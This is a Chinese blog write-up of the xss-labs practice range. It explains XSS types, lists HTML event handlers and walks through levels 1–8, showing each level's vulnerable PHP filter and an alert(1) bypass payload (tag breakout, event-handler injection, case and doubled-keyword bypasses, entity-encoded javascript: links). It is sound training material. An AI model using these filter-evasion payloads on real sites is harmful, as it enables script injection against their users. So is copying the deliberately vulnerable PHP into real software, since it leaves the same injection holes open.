xss-labs实验总结

作者: hxf981224 分类: 未分类 发布时间: 2019-10-15 16:41

基础

介绍

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

危害

  • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 盗窃企业重要的具有商业价值的资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其它网站发起攻击

分类

xss攻击可以分成两种类型:

  • 非持久型攻击
  • 持久型攻击

也可以分成三类:

  • 反射型:经过后端,不经过数据库
  • 存储型:经过后端,经过数据库
  • DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom – xss是通过url传入参数去控制触发的。

构建一个xss靶场

 <?php
 $name = $_GET['name'];
 echo "<h1>".$name."</h1>";
 ?>

输入payload

 <script>alert(1);</script>

关于JavaScript

  • JavaScript是一种客户端的脚本语言,是运行在浏览器中的
  • 浏览器回自动运行网页中的JavaScript代码,并且JavaScript代码对于用户来说是透明的
  • 网页中运行JavaScript的方式
  • 引入外部js
  •  <script src=”url”</script>
  • 使用超链接(JavaScript(伪协议))
  •  <a href=”JavaScript:alert(111)”>名字</a>
  • 使用<script></script>标签
  •  <script>alert(1)</script>
  • 使用事件方法
  •  <img src=1 onerror=alert(1)>
  • 网页可以通过时间与用户进行交互
  • 浏览器中可以选择禁用JavaScript代码

常见的绕过

  • html实体编码(uncode编码)
  • 绕过黑名单

html 事件属性

针对 window 对象触发的事件(应用到 <body> 标签):

属性描述
onafterprintscript文档打印之后运行的脚本。
onbeforeprintscript文档打印之前运行的脚本。
onbeforeunloadscript文档卸载之前运行的脚本。
onerrorscript在错误发生时运行的脚本。
onhaschangescript当文档已改变时运行的脚本。
onloadscript页面结束加载之后触发。
onmessagescript在消息被触发时运行的脚本。
onofflinescript当文档离线时运行的脚本。
ononlinescript当文档上线时运行的脚本。
onpagehidescript当窗口隐藏时运行的脚本。
onpageshowscript当窗口成为可见时运行的脚本。
onpopstatescript当窗口历史记录改变时运行的脚本。
onredoscript当文档执行撤销(redo)时运行的脚本。
onresizescript当浏览器窗口被调整大小时触发。
onstoragescript在 Web Storage 区域更新后运行的脚本。
onundoscript在文档执行 undo 时运行的脚本。
onunloadscript一旦页面已下载时触发(或者浏览器窗口已被关闭)。

由 HTML 表单内的动作触发的事件(应用到几乎所有 HTML 元素,但最常用在 form 元素中):

属性描述
onblurscript元素失去焦点时运行的脚本。
onchangescript在元素值被改变时运行的脚本。
oncontextmenuscript当上下文菜单被触发时运行的脚本。
onfocusscript当元素获得焦点时运行的脚本。
onformchangescript在表单改变时运行的脚本。
onforminputscript当表单获得用户输入时运行的脚本。
oninputscript当元素获得用户输入时运行的脚本。
oninvalidscript当元素无效时运行的脚本。
onresetscript当表单中的重置按钮被点击时触发。HTML5 中不支持。
onselectscript在元素中文本被选中后触发。
onsubmitscript在提交表单时触发。

Keyboard 事件

属性描述
onkeydownscript在用户按下按键时触发。
onkeypressscript在用户敲击按钮时触发。
onkeyupscript当用户释放按键时触发。

Mouse 事件

由鼠标或类似用户动作触发的事件:

属性描述
onclickscript元素上发生鼠标点击时触发。
ondblclickscript元素上发生鼠标双击时触发。
ondragscript元素被拖动时运行的脚本。
ondragendscript在拖动操作末端运行的脚本。
ondragenterscript当元素元素已被拖动到有效拖放区域时运行的脚本。
ondragleavescript当元素离开有效拖放目标时运行的脚本。
ondragoverscript当元素在有效拖放目标上正在被拖动时运行的脚本。
ondragstartscript在拖动操作开端运行的脚本。
ondropscript当被拖元素正在被拖放时运行的脚本。
onmousedownscript当元素上按下鼠标按钮时触发。
onmousemovescript当鼠标指针移动到元素上时触发。
onmouseoutscript当鼠标指针移出元素时触发。
onmouseoverscript当鼠标指针移动到元素上时触发。
onmouseupscript当在元素上释放鼠标按钮时触发。
onmousewheelscript当鼠标滚轮正在被滚动时运行的脚本。
onscrollscript当元素滚动条被滚动时运行的脚本。

Media 事件

由媒介(比如视频、图像和音频)触发的事件(适用于所有 HTML 元素,但常见于媒介元素中,比如 <audio>、<embed>、<img>、<object> 以及 <video>):

属性描述
onabortscript在退出时运行的脚本。
oncanplayscript当文件就绪可以开始播放时运行的脚本(缓冲已足够开始时)。
oncanplaythroughscript当媒介能够无需因缓冲而停止即可播放至结尾时运行的脚本。
ondurationchangescript当媒介长度改变时运行的脚本。
onemptiedscript当发生故障并且文件突然不可用时运行的脚本(比如连接意外断开时)。
onendedscript当媒介已到达结尾时运行的脚本(可发送类似“感谢观看”之类的消息)。
onerrorscript当在文件加载期间发生错误时运行的脚本。
onloadeddatascript当媒介数据已加载时运行的脚本。
onloadedmetadatascript当元数据(比如分辨率和时长)被加载时运行的脚本。
onloadstartscript在文件开始加载且未实际加载任何数据前运行的脚本。
onpausescript当媒介被用户或程序暂停时运行的脚本。
onplayscript当媒介已就绪可以开始播放时运行的脚本。
onplayingscript当媒介已开始播放时运行的脚本。
onprogressscript当浏览器正在获取媒介数据时运行的脚本。
onratechangescript每当回放速率改变时运行的脚本(比如当用户切换到慢动作或快进模式)。
onreadystatechangescript每当就绪状态改变时运行的脚本(就绪状态监测媒介数据的状态)。
onseekedscript当 seeking 属性设置为 false(指示定位已结束)时运行的脚本。
onseekingscript当 seeking 属性设置为 true(指示定位是活动的)时运行的脚本。
onstalledscript在浏览器不论何种原因未能取回媒介数据时运行的脚本。
onsuspendscript在媒介数据完全加载之前不论何种原因终止取回媒介数据时运行的脚本。
ontimeupdatescript当播放位置改变时(比如当用户快进到媒介中一个不同的位置时)运行的脚本。
onvolumechangescript每当音量改变时(包括将音量设置为静音)时运行的脚本。
onwaitingscript当媒介已停止播放但打算继续播放时(比如当媒介暂停已缓冲更多数据)运行脚本

1:没有任何过滤的xss

 <script>alert(1);</script>;

2过滤'<‘,’>’的xss

 onmouseover='alert(1)' //鼠标移动值图片位置弹出

3过滤”onmouseover”的xss

 <a href="javascript:alert(1)">aaaa</a>
 ​

靶场

leve1

没有任何过滤,直接URL后面加XSS测试语句弹窗

url:http://139.9.114.237:8989/level1.php?name=test

payload:<script>alert(1);</script>;

leve2

url:http://139.9.114.237:8989/level2.php

 <!DOCTYPE html><!--STATUS OK--><html>
 <head>
 <meta http-equiv="content-type" content="text/html;charset=utf-8">
 <script>
 window.alert = function()  
 {    
 confirm("完成的不错!");
  window.location.href="level3.php?writing=wait";
 }
 </script>
 <title>欢迎来到level2</title>
 </head>
 <body>
 <h1 align=center>欢迎来到level2</h1>
 <h2 align=center>没有找到和相关的结果.</h2><center>
 <form action=level2.php method=GET>
 <input name=keyword  value="">//变量为keyword 需要闭合input标签
 <input type=submit name=submit value="搜索"/>
 </form>
 </center><center><img src=level2.png></center>
 <h3 align=center>payload的长度:0</h3></body>
 </html>

审计源码发现变量为 keyword 插入代码后发现在input标签内

所以要闭合input标签

 payload=?keyword="><script>alert(1);</script>

leve3

url:http://139.9.114.237:8989/level4.php

源码

 <?php 
 ini_set("display_errors", 0);
 $str = $_GET["keyword"];
 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
 <form action=level3.php method=GET>
 <input name=keyword  value='".htmlspecialchars($str)."'>
 <input type=submit name=submit value=搜索 />
 </form>
 </center>";
 ?>
 <center><img src=level3.png></center>
 <?php
 echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

htmlspecialchars()函数

输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有< > ” ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value

payload

 ?keyword='onmouseover='alert(1)'//鼠标移动到输入框触发

leve4

url:http://139.9.114.237:8989/level4.php

 <?php 
 ini_set("display_errors", 0);
 $str = $_GET["keyword"];
 $str2=str_replace(">","",$str);
 $str3=str_replace("<","",$str2);
 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
 <form action=level4.php method=GET>
 <input name=keyword value="'.$str3.'">//'"闭合
 <input type=submit name=submit value=搜索 />
 </form>
 </center>';
 ?>
 <center><img src=level4.png></center>
 <?php
 echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
 ?>

str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)

大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签

payload

 ?keyword=test"onmouseover='alert(1)'

leve5

url

源码

 <?php 
 ini_set("display_errors", 0);
 $str = strtolower($_GET["keyword"]);
 $str2=str_replace("<script","<scr_ipt",$str);
 $str3=str_replace("on","o_n",$str2);
 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
 <form action=level5.php method=GET>
 <input name=keyword value="'.$str3.'">
 <input type=submit name=submit value=搜索 />
 </form>
 </center>';
 ?>
 <center><img src=level5.png></center>
 <?php
 echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
 ?>

所以构不成上面的payload

 ?keyword=find a way out!1"><a href="javascript:alert(1)">

leve6

url:http://139.9.114.237:8989/level6.php

源码

 <?php 
 ini_set("display_errors", 0);
 $str = $_GET["keyword"];
 $str2=str_replace("<script","<scr_ipt",$str);
 $str3=str_replace("on","o_n",$str2);
 $str4=str_replace("src","sr_c",$str3);
 $str5=str_replace("data","da_ta",$str4);
 $str6=str_replace("href","hr_ef",$str5);
 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
 <form action=level6.php method=GET>
 <input name=keyword value="'.$str6.'">
 <input type=submit name=submit value=搜索 />
 </form>
 </center>';
 ?>

大小写绕过(str_replace():函数不区分大小写)

 payload:?keyword=break it out!1"><SCRIPT>alert(1)</script>

leve7

url:http://139.9.114.237:8989/level7.php

源码

 <?php 
 ini_set("display_errors", 0);
 $str =strtolower( $_GET["keyword"]);//strtolower();转换为小写
 $str2=str_replace("script","",$str);
 $str3=str_replace("on","",$str2);
 $str4=str_replace("src","",$str3);
 $str5=str_replace("data","",$str4);
 $str6=str_replace("href","",$str5);
 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
 <form action=level7.php method=GET>
 <input name=keyword value="'.$str6.'">
 <input type=submit name=submit value=搜索 />
 </form>
 </center>';
 ?>
 <center><img src=level7.png></center>
 <?php
 echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
 ?>

双写绕过 因为script 被替换为空

 payload ?keyword=m"><scriscriptpt>alert(1)</scriscriptpt>

leve8

url:

源码

 <?php 
 ini_set("display_errors", 0);
 $str = strtolower($_GET["keyword"]);
 $str2=str_replace("script","scr_ipt",$str);
 $str3=str_replace("on","o_n",$str2);
 $str4=str_replace("src","sr_c",$str3);
 $str5=str_replace("data","da_ta",$str4);
 $str6=str_replace("href","hr_ef",$str5);
 $str7=str_replace('"','&quot',$str6);
 echo '<center>
 <form action=level8.php method=GET>
 <input name=keyword value="'.htmlspecialchars($str).'">
 <input type=submit name=submit value=添加友情链接 />
 </form>
 </center>';
 ?>
 <?php
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
 ?>
 <center><img src=level8.jpg></center>
 <?php
 echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
 ?>

input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,

 payload:javascript,对其中的字母进行实体编码
 搜索框中输入 java&#x73;cript:alert(1)   点击添加到友情链接,点击链接

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云